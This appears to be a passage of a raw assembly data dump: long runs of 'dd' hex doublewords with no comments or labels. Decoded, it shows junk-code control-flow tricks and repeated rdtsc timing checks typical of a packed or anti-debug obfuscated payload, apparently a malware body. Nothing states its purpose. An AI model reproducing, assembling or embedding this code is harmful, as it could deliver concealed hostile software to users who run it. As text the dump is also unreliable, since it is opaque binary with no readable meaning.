		dd 1B2B3DA5h, 0DE8FE06h, 9C000000h, 3F3AD5E6h, 737795D4h
		dd 5CB6F09Fh, 72DB8166h, 95895B95h, 61B29F1h, 0E9DF8B66h
		dd 0
		dd 0C3A4B58Dh, 6A061Eh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 798FDCC3h, 0BD8B6BDEh, 61B30DDh
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8985E5C3h, 1B10BDB5h, 595FF06h, 0F061B22h
		dd 1682h, 11E900h, 84F50000h, 0AFEC00CAh, 179E521Dh, 5BBE5A99h
		dd 892012AFh, 1B131D95h, 7BEB906h, 0BD290000h, 61B18C5h
		dd 0E8FCE183h, 0Bh, 0CB738309h,	0CAA2F699h, 66436C7Eh
		dd 82F5EB81h, 8509FC5Fh, 61B323Dh, 9D0BC02Bh, 61B0661h
		dd 0BAh, 0BE800h, 0B2DF0000h, 1F702072h, 18AE4386h, 20E780FBh
		dd 0C233AD5Fh, 0D003E8D1h, 7504E983h, 13E9F4h, 0B3130000h
		dd 53FA53B0h, 4D5F5564h, 18ADE515h, 0F9A44EB0h,	52006A86h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 4CCD5DD1h, 8B139AC4h, 1B3139BDh, 880D06h, 81660000h
		dd 8B5848C7h, 1B242995h, 19D8B06h, 8B061B11h, 1B07658Dh
		dd 0F98B6606h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 9D8B5818h, 61B0C01h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 4FC35343h, 74F1E716h,	9D89E1E8h, 61B0415h
		dd 1769BD83h, 0F00061Bh, 0A484h, 0E99D8B00h, 0B8061B24h
		dd 0
		dd 39BD29h, 890F061Bh, 6, 84DB589h, 8D8D061Bh, 61B4CD3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 2AC35242h
		dd 2DCAEB33h, 0F8069085h, 0DE9B8h, 0EAFA0000h, 25F42B6Ah
		dd 0A429F21Ch, 0E8E7EDD2h, 6, 9AC1661Eh, 800F91AEh, 6
		dd 25918509h, 0FF5F061Bh, 56006AE1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0C402DAh, 0FF662426h
		dd 55BD8B16h, 9061B24h,	1B0071B5h, 0D1BD8306h, 61B13h
		dd 492840Fh, 0FB8B0000h, 13D1BD83h, 0F01061Bh, 49E84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0D6586284h, 7016EEE0h, 11E960h, 0BE150000h
		dd 50234BFCh, 0A97FF60Ch, 0F9AD2C18h, 0E8CEF6DDh, 0Ah
		dd 6D1BFBC0h, 5F6275E5h, 0B533F6F0h, 61B30DDh, 9589615Bh
		dd 61B2D4Dh, 13D1BD83h,	0F03061Bh, 40486h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 5B24E14Dh, 3EF53EADh, 68A0Fh, 0BD8B0000h, 61B0E6Dh
		dd 2153CFBFh, 6A6024h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0A04C69C3h, 30C3F1DCh, 2E39BD8Bh
		dd 8C66061Bh, 818DBBD9h, 0E18077B1h, 55006A04h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0D9EECDF7h
		dd 543E2A14h, 4DBD8908h, 0A061B01h, 32840FC9h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E825C356h, 0Dh, 27843010h, 0DABE4B49h, 5E86400Ch
		dd 0CE95F44h, 0BB000000h, 34A6B2EBh, 0F17A48Ch,	8BCCEB5Dh
		dd 1B014585h, 8533F806h, 61B2A31h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0A0C35747h,	0FAC0CE87h, 85507282h
		dd 19D89C5h, 90061B13h,	66CB8B60h, 5061D88Bh, 52A8BF66h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 6FC62B6Ch, 0C5BD89BFh, 6A061B08h, 3DB58900h
		dd 68061B2Ch, 0EACA0DC5h, 50515250h, 5A310F52h,	310F5B58h
		dd 481585Ah, 54F63A24h,	0A329BF15h, 95FF1E82h, 61B3235h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 5CC35646h
		dd 0E0C6D21Fh, 3F1A81BEh, 998589F9h, 6A061EADh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 77E7C357h, 0C266D1D5h, 0E9F7C10Dh, 1BFh, 0BFD38166h
		dd 91858BEDh, 6A061EADh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 9E0AC356h, 709DEADFh
		dd 0B1B58972h, 57061B29h, 5B07E380h, 1800C7h, 85890000h
		dd 61B0E81h, 0AD95B58Bh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 31A097C3h, 30399D8Bh
		dd 858B061Bh, 61B1229h,	0C099D8Bh, 0D98B061Bh, 858B0689h
		dd 61B0145h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	69C35141h, 4689FA8Bh, 0B7D88A04h, 0FB8B967Dh, 6A9650h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0F86A3C3h, 8BD52852h, 1B2D2D9Dh, 91B5FF06h, 8B061EADh
		dd 1B1A49BDh, 45FC6806h, 0BDB7A22Ch, 3240481h, 6A5DF2BEh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 3593C353h, 53C812C7h, 6653E6F2h, 9D8BDE8Bh
		dd 61B16A1h, 0AD99858Dh, 6E8061Eh, 33000000h, 0B9C5ED78h
		dd 0BE86Ch, 75AE0000h, 54F2C95Dh, 0A53FD16Ch, 61BD8B67h
		dd 5B061B12h, 5050905Fh, 68E0F52h, 0F000000h, 86h, 57310F00h
		dd 0BE8h, 0A7BD8400h, 0D27C1819h, 283D6975h, 585A5F5Bh
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8BDD7211h, 1B0A4DBDh, 3595FF06h,	6A061B32h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0DEBAC353h, 7BA00166h, 0BF665275h, 615B0785h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0F9C35040h
		dd 5BEB8081h, 26E2AABFh, 0D185C70Fh, 3061B13h, 89000000h
		dd 1B24618Dh, 89605106h, 1B297595h, 61D58A06h, 99BD835Fh
		dd 61EADh, 2F840Fh, 0D88B0000h,	43E9h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0C25EDC97h, 89457ED5h, 1B0D71BDh, 0C305006h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 1D59BD2Bh, 0CE8061Bh
		dd 0A1000000h, 31A6A9A5h, 0A77BBAD3h, 8BC1FDB7h, 1B0EF5BDh
		dd 0BD835B06h, 61B13D1h, 0B850F03h, 83000004h, 1EAD99BDh
		dd 840F0006h, 3FEh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 4FC35141h, 6616577Dh,	1B88EB81h, 0AD99B5FFh
		dd 0BF0F061Eh, 6D8589DFh, 0FF061B0Ch, 1B011195h, 0F2816006h
		dd 0CC8911Ah, 2E498D89h, 8961061Bh, 1B32F195h, 8DB58B06h
		dd 89061EADh, 1B12C195h, 106C706h, 6A000100h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 23DFC352h, 0B30E3E04h, 0E850E75Dh, 12h, 459B099h, 277F148Ch
		dd 4AEF949Ah, 191996CBh, 895BF54Ah, 0CB802434h,	99B5FFF0h
		dd 6A061EADh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 66E1C350h, 95FFD98Bh, 61B1BC9h
		dd 0EB87DB81h, 0B58B228Eh, 61EAD8Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 56C35747h, 0B69D282Ah, 2E5F2067h
		dd 25858BCDh, 33061B0Dh, 1B2DB5BDh, 0C4868906h,	89000000h
		dd 1B1F4195h, 29958B06h, 6A061B24h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0B6FBC352h
		dd 6A04C283h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 7281C357h, 6820FEDh, 8B000000h
		dd 1B0265BDh, 8E96006h,	0CA000000h, 36C690C5h, 0E964958Bh
		dd 10h,	0E81CDB3Eh, 0AF9AB839h,	0F92AE11Bh, 9133D8DCh
		dd 20508961h, 506933BBh, 0C7858D67h, 6A061EC0h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0EB69C353h, 868994B3h, 0B8h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0C8C35545h,	6AD84Dh, 0B5FFFB8Bh
		dd 61EAD99h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	92C35040h, 79B5BFB5h, 95FF509Ah, 61B142Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0B5C35242h, 93A797D5h
		dd 8BBE7238h, 0A5BD8BF9h, 50061B02h, 50243489h,	10919589h
		dd 0FF5F061Bh, 1EAD99B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 97264592h, 15BB6651h
		dd 95FF5F51h, 61B1B91h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0C7C35141h, 7D4815FEh, 29B15CAAh, 1B0989BDh
		dd 81BD8306h, 61B0Ch, 55840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F249EC3h
		dd 683h, 0ED852900h, 96061B08h,	8783BB66h, 0FE8B6650h
		dd 56006A96h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0C59D8BE4h, 0FF061B2Fh, 1EAD99B5h, 0FFA1B306h
		dd 1B0BD595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 84678A42h, 9D8BE6BCh, 61B2EB5h, 8E9h
		dd 0D7130200h, 7CF0C5EAh, 99B5FF4Ah, 6A061EADh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 9312C352h, 995FFF5h,	0F8061B1Ah, 7A5BD83h, 0F02061Bh
		dd 5884h, 8D895300h, 61B1EDDh, 31858B5Bh, 6A061B30h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0CA41C356h, 0F960DB5Bh, 810F61F9h, 1, 0C6F9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 63C35242h, 0D585C7D3h
		dd 61B2Bh, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 6B0FC350h, 0E418529h, 8CE9061Bh
		dd 8BFFFFF3h, 1B0A31BDh, 6AC18B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0AC5AC352h
		dd 0E251FB46h, 39F78166h, 0ED858DEBh, 80061B32h, 8B5022CBh
		dd 240489F8h, 18D9D89h,	6A061Bh, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 17h, 0E8C35141h,	80D46E0Ch, 953171DBh
		dd 61B2939h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0EA355CC3h, 1CDB8166h, 8C858D20h
		dd 83061F40h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 13E976C3h, 54000000h, 0D4350E68h
		dd 0A23E5EBh, 0EF3E478Fh, 346005D4h, 0B70F6E16h, 525090FEh
		dd 310FF88Bh, 3860Fh, 8B660000h, 50585ADAh, 9E9h, 16EC3900h
		dd 0EACE11F6h, 6090DBE6h, 6C33D981h, 8D8B3FDDh,	61B16D9h
		dd 6A006A61h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 23C9C356h, 567B04CEh, 0FF006A5Fh
		dd 1B1A0195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0EF570C5Fh, 0FE9F7h, 5A780000h, 0FD432BD7h
		dd 0F5A03BF5h, 98BF7080h, 0B78D8DA4h, 6A061E92h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0DF52C351h, 0D8CE2F7Eh, 6078F2E5h, 1D898529h, 0FF61061Bh
		dd 759D29D1h, 83061B16h, 1B1CD5BDh, 850F0106h, 81h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7AC35646h, 51B940C5h
		dd 38D0Fh, 0BF0F0000h, 66026AD9h, 8950F98Bh, 6A2404h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F88585C3h, 0CC474D31h, 95FF2790h, 61B142Dh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 86C35545h, 51028955h
		dd 0D3D977CBh, 0D2EE982h, 0E80000h, 5D000000h, 4096ED81h
		dd 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 4B50F8C3h, 858D7037h, 61E853Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B6C35141h, 0EDCC923Ah
		dd 9D23F98Bh, 61B0D5Dh,	14E890h, 5CDD0000h, 0AC372752h
		dd 6FAC79ADh, 64187145h, 0A35E1FB8h, 0F88A9AEBh, 0E860505Fh
		dd 0Dh,	66A88B6Bh, 23A428BBh, 0AEA0AE7Bh, 0F0B966BFh, 8B0F5A77h
		dd 2, 90616160h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 16h,	7BC35545h, 0F503B1Fh, 682h, 0ED858900h,	5F061B2Eh
		dd 35FF64h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0C869C352h,	4491AAD0h
		dd 2589649Fh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 2CC35545h
		dd 8BB1E640h, 1B2605BDh, 0D85FF06h, 66061B2Bh, 6AEC8EBFh
		dd 0B3C780FFh, 3A5B5FFh, 0BF0F061Bh, 595FFFBh, 0E9061B08h
		dd 13Dh, 7A1B589h, 0B0061Bh, 0F599BB66h, 0BF0F70E6h, 159D8BFAh
		dd 0E4061B02h, 68A0F71h, 89000000h, 1B10E1B5h, 0BD9D8906h
		dd 3C061B2Dh, 0A830F61h, 0F000001h, 0B60FF8B7h,	862CBBC8h
		dd 6BA0CACh, 66000000h,	0C18BF98Bh, 0E8C1FE8Ah,	0AD9D2304h
		dd 53061B0Dh, 742EBF66h, 0E2F7665Bh, 0E8816660h, 1AB5B509h
		dd 0E8C82B61h, 13h, 0D52F4BE8h,	0E2CA339h, 936BA091h, 647E7BCh
		dd 0E80F4575h, 5, 0D424BC62h, 5FFE8B78h, 89D18B5Bh, 1B0BCD85h
		dd 0E8FC6006h, 6, 9DAEEE08h, 0E181802Ch, 6D949EA1h, 6E9615Ah
		dd 8B000000h, 1B29759Dh, 35858B06h, 83061B0Eh, 853107C0h
		dd 61B3109h, 0E900C083h, 0Ch, 4E7A5DACh, 4293718Eh, 0C83402EAh
		dd 0CB9BD8Bh, 0D03B061Bh, 11830Fh, 0BD8B0000h, 61B0845h
		dd 4CE9h, 8A0F00h, 8B000000h, 1B06B98Dh, 0CE906h, 3F480000h
		dd 0C2D4A6D2h, 0CC8A7923h, 0E18362C5h, 26840F01h, 8B000000h
		dd 0B9A583D9h, 0FE061B06h, 0D1B70F60h, 35DBD29h, 8961061Bh
		dd 1B0E3595h, 18A0F06h,	0F9000000h, 0E9h, 10B58D00h, 0E9061ECDh
		dd 8, 3CD26DB6h, 0A5CE12C5h, 95FF006Ah,	61B2205h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 9CC35747h, 8BAD58DFh
		dd 1B2EC99Dh, 0D85B906h, 9D8B0000h, 61B2919h, 76A4D381h
		dd 0E1837C1Eh, 55006AFCh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0FC826738h, 0B82DB7h
		dd 0F000000h, 684h, 49BD2900h, 0BA061B12h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8CC35242h
		dd 33AD1F28h, 3E8D1C2h,	4E983D0h, 9D8BF475h, 61B0ED5h
		dd 68A0Fh, 0C3810000h, 30A5855h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 19h, 15C35242h, 0AE667501h, 659D31E5h
		dd 81061B02h, 6F3EEBCFh, 880D61h, 958B0000h, 61B2429h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 9EC35141h
		dd 0C999119h, 20B383C9h, 7658D8Bh, 9D89061Bh, 61B1715h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	0BD8B5818h
		dd 61B08E5h, 1769BD83h,	0F00061Bh, 6D84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 19074FD9h, 0B8C0F380h, 0
		dd 12E9h, 6B9AEC00h, 238F26EDh,	0E64E0274h, 0AC148B27h
		dd 8D5EEEF8h, 1B4CD38Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 1345414Ah, 0E1FFEE80h
		dd 0E21BD8Bh, 0BD83061Bh, 61B13D1h, 0B5840F00h,	31000004h
		dd 1B2A9185h, 0D1BD8306h, 1061B13h, 4BD840Fh, 0BD830000h
		dd 61B13D1h, 7A860F03h,	6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 1EE0C352h
		dd 96FA6C87h, 6A60EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 2551D4C3h, 0E990CE57h, 5, 5F0808ABh
		dd 0D98C6646h, 80FB8B66h, 516004E1h, 1A0D9589h,	8A58061Bh
		dd 0C90A61F7h, 1BD840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0B5BDB2C3h, 0F3413013h
		dd 858B7177h, 61B0145h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 5BC35646h, 10221DBFh,	148F0Fh, 0FE90000h
		dd 6E000000h, 4F4BC8BAh, 0AB454959h, 0EA0DB52Fh, 8533E123h
		dd 61B2A31h, 5050FA8Bh,	34BF6652h, 0E9310F86h, 0Dh, 94468F23h
		dd 9C4F68CBh, 71B9A04Fh, 89585A24h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 5E8023C3h
		dd 8B09E2DEh, 1B0975BDh, 6810F06h, 8B000000h, 1B2409BDh
		dd 0E9006A06h, 11h, 445B9DD7h, 5FF71A49h, 123CF1BFh, 0D5D162FFh
		dd 4E8CBh, 3FF0000h, 8F0F001Fh,	15h, 9E8h, 18BC9600h, 0EB9D67C9h
		dd 52504D8Ch, 585A310Fh, 13E8505Bh, 95000000h, 49BC1D69h
		dd 0C8505F82h, 0B1DB59E1h, 0BBF3C53Fh, 52509CE7h, 310F5250h
		dd 310F585Ah, 585AF88Bh, 24448B5Bh, 0E9008B04h,	0Bh, 1CDF0053h
		dd 9EAF57CCh, 89FD7FAAh, 8B042444h, 8E0F58DFh, 0Ch, 7E9h
		dd 0ADCDA400h, 40E88DB0h, 323595FFh, 0BD31061Bh, 61B2379h
		dd 28C99589h, 8589061Bh, 61EAD99h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0CEC35141h,	8077AC21h, 8626BB66h
		dd 1F5E9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 54CDD5CBh, 0BD2BA551h, 61B243Dh
		dd 8BDBB70Fh, 1EAD9185h, 0DEB70F06h, 1800C7h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0D6FAACC3h, 0B0C84952h, 810Fh, 0B58B0000h, 61EAD95h
		dd 0DE59589h, 8B66061Bh, 29858BDFh, 6A061B12h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0E804C356h, 0DDF85151h, 958907FFh, 61B2E05h,	6A0689h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0CFDC36C3h, 0D997BF9Eh, 0CE92E53h, 0E9000000h, 0B0593499h
		dd 53AC1D99h, 8B6FB4F6h, 1B014585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 56CA8A47h
		dd 5FCBF993h, 2C359D8Bh, 0B70F061Bh, 44689FAh, 96DF8B66h
		dd 4840Fh, 0BB660000h, 0B75028DEh, 0EE89658h, 9000000h
		dd 1990DE5Ch, 0C2B46B43h, 0E2FE8A43h, 499D89E9h, 5B061B18h
		dd 0AD91B5FFh, 820F061Eh, 6, 0EE98D89h,	0B668061Bh, 0F53184Fh
		dd 28Fh, 81FA8B00h, 4C492434h, 6A5307h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 444F80C3h
		dd 10E94DCDh, 0E6000000h, 98090D9Ah, 0C1A589BEh, 7F16D7DFh
		dd 8DBD5489h, 1EAD9985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0F98B666Fh, 9C98D89h
		dd 5250061Bh, 2404895Fh, 0CE9BD8Bh, 95FF061Bh, 61B3235h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 60C35646h
		dd 0DA8A3E0Bh, 7A9B529h, 0F61061Bh, 68Fh, 259D0100h, 0C7061B24h
		dd 1B13D185h, 306h, 59D8B00h, 83061B00h, 1EAD99BDh, 840F0006h
		dd 5Dh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 38C35141h, 0DEE795BFh, 52E954h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 8D62A3C3h
		dd 4420C612h, 0E93B89FCh, 0Dh, 6027451Dh, 0C9B44806h, 3058EC7Bh
		dd 0C30505Ch, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	86C35545h, 0F98B2B22h, 5840F60h, 0BF000000h, 578EB143h
		dd 0D1BD8361h, 3061B13h, 39F850Fh, 0D88B0000h, 0FE9h, 6C687200h
		dd 1B45F985h, 9B6B68C7h, 0A70DA023h, 0AD99BD83h, 0F00061Eh
		dd 37C84h, 0FFFE8B00h, 1EAD99B5h, 49BD8B06h, 0FF061B09h
		dd 1B011195h, 9DF38106h, 8B05EE76h, 1EAD8DB5h, 0F5CF8006h
		dd 106C7h, 9D890001h, 61B01BDh,	7E950h,	24BB0000h, 973D3EA5h
		dd 2434897Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	82C35646h, 8CAC8886h, 10E9h, 217ABE00h,	40AEDBA0h
		dd 2F77F1C8h, 0FBF67041h, 99B5FFA1h, 6A061EADh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 51C8C356h, 5A9A55B1h, 0FF898771h, 1B1BC995h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 932C2BDh, 32FC3777h,	1781B589h, 0B58B061Bh, 61EAD8Dh
		dd 2B559D8Bh, 858B061Bh, 61B0D25h, 25ADBD8Bh, 8689061Bh
		dd 0C4h, 1C71B501h, 958B061Bh, 61B2429h, 0F2DEE781h, 0C28312B7h
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0AD49F142h, 47248D34h, 89D98B7Dh, 9D8B2050h
		dd 61B2509h, 0C0C7858Dh, 8589061Eh, 61B3115h, 0B88689h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 830FBDC3h, 95896559h, 61B1F19h, 2C29BD89h
		dd 6AF8061Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 7B67473Eh, 0FFD8BF0Fh, 1EAD99B5h
		dd 11E85606h, 0E0000000h, 0EFC72824h, 14127BA7h, 0F82E50D5h
		dd 0CE496010h, 25E19589h, 5F5F061Bh, 142D95FFh,	6A061Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 7EA853C3h, 0C9F1C2A2h, 0B531D17Eh, 61B0C91h,	99C7BB50h
		dd 34893092h, 0FFBF0F24h, 0AD99B5FFh, 13E9061Eh, 0A0000000h
		dd 78F6BFAEh, 0A8E040D6h, 2856D165h, 90837839h,	95FF91B4h
		dd 61B1B91h, 7E9h, 0F3D08700h, 0E28AEF54h, 0C81BD83h, 0F00061Bh
		dd 4784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0CC7AEBC3h, 802358D5h, 0E99626CFh
		dd 13h,	941EAFD7h, 22C58C83h
		dd 893B3C68h, 0EA9825F8h, 507BCC00h, 6696DA8Bh,	2760DB81h
		dd 0AD99B5FFh, 6A061Eh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0CA5D7CC3h, 58A0FEFh, 0BB000000h
		dd 592D9014h, 0BD595FFh, 8F0F061Bh, 6, 3165BD8Bh, 0B5FF061Bh
		dd 61EAD99h, 9DDBD8Bh, 95FF061Bh, 61B1A09h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 45C35040h, 0D01E934Dh
		dd 5426B0A0h, 0FD88A70h, 0BD83FBBFh, 61B07A5h, 41840F02h
		dd 66000000h, 66E89EBFh, 8B16D8BFh, 1B303185h, 0D88B6606h
		dd 6A0000C6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 8E94C357h, 0C7D5259Fh,	6840Fh
		dd 0BD8B0000h, 61B28D5h, 2BD585C7h, 61Bh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F9A9EEC3h, 0E9FDCF11h, 2D850987h, 81061B0Dh, 5B3A71E7h
		dd 0F411E96Ah, 6660FFFFh, 0EAC1E981h, 5E8h, 9DCEDA00h
		dd 61608D0Ch, 0C18B615Eh, 564ABF66h, 32ED858Dh,	6A061Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0E1BCF5C3h, 0BD8BDC85h, 61B2535h, 0EE990h, 91FA0000h
		dd 0D224874h, 605A03A1h, 8E613933h, 8B525050h, 0E9310FFEh
		dd 0Ah,	0C1E96FA0h, 317B9C3Bh, 585AA76Eh, 6ADA8B90h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0D357D0h, 53604E5Fh,	0EB5858Bh, 0E95E061Bh, 13h, 0DE0CB82Bh
		dd 0F0D1840h, 45FF2B53h, 111BFFC1h, 61683879h, 814FBB66h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0A25CCDC3h, 60EABC68h, 89CF8B66h,	1B307185h
		dd 858D6106h, 61F5026h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 37C35040h, 0D20927C4h, 0F98B6680h, 6A05C083h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0D733C350h, 661AAB0Ah, 90FBF3BBh,	6402BF66h
		dd 38D2BF50h, 6A905D2Eh, 3E85600h, 20000000h, 895EC35Eh
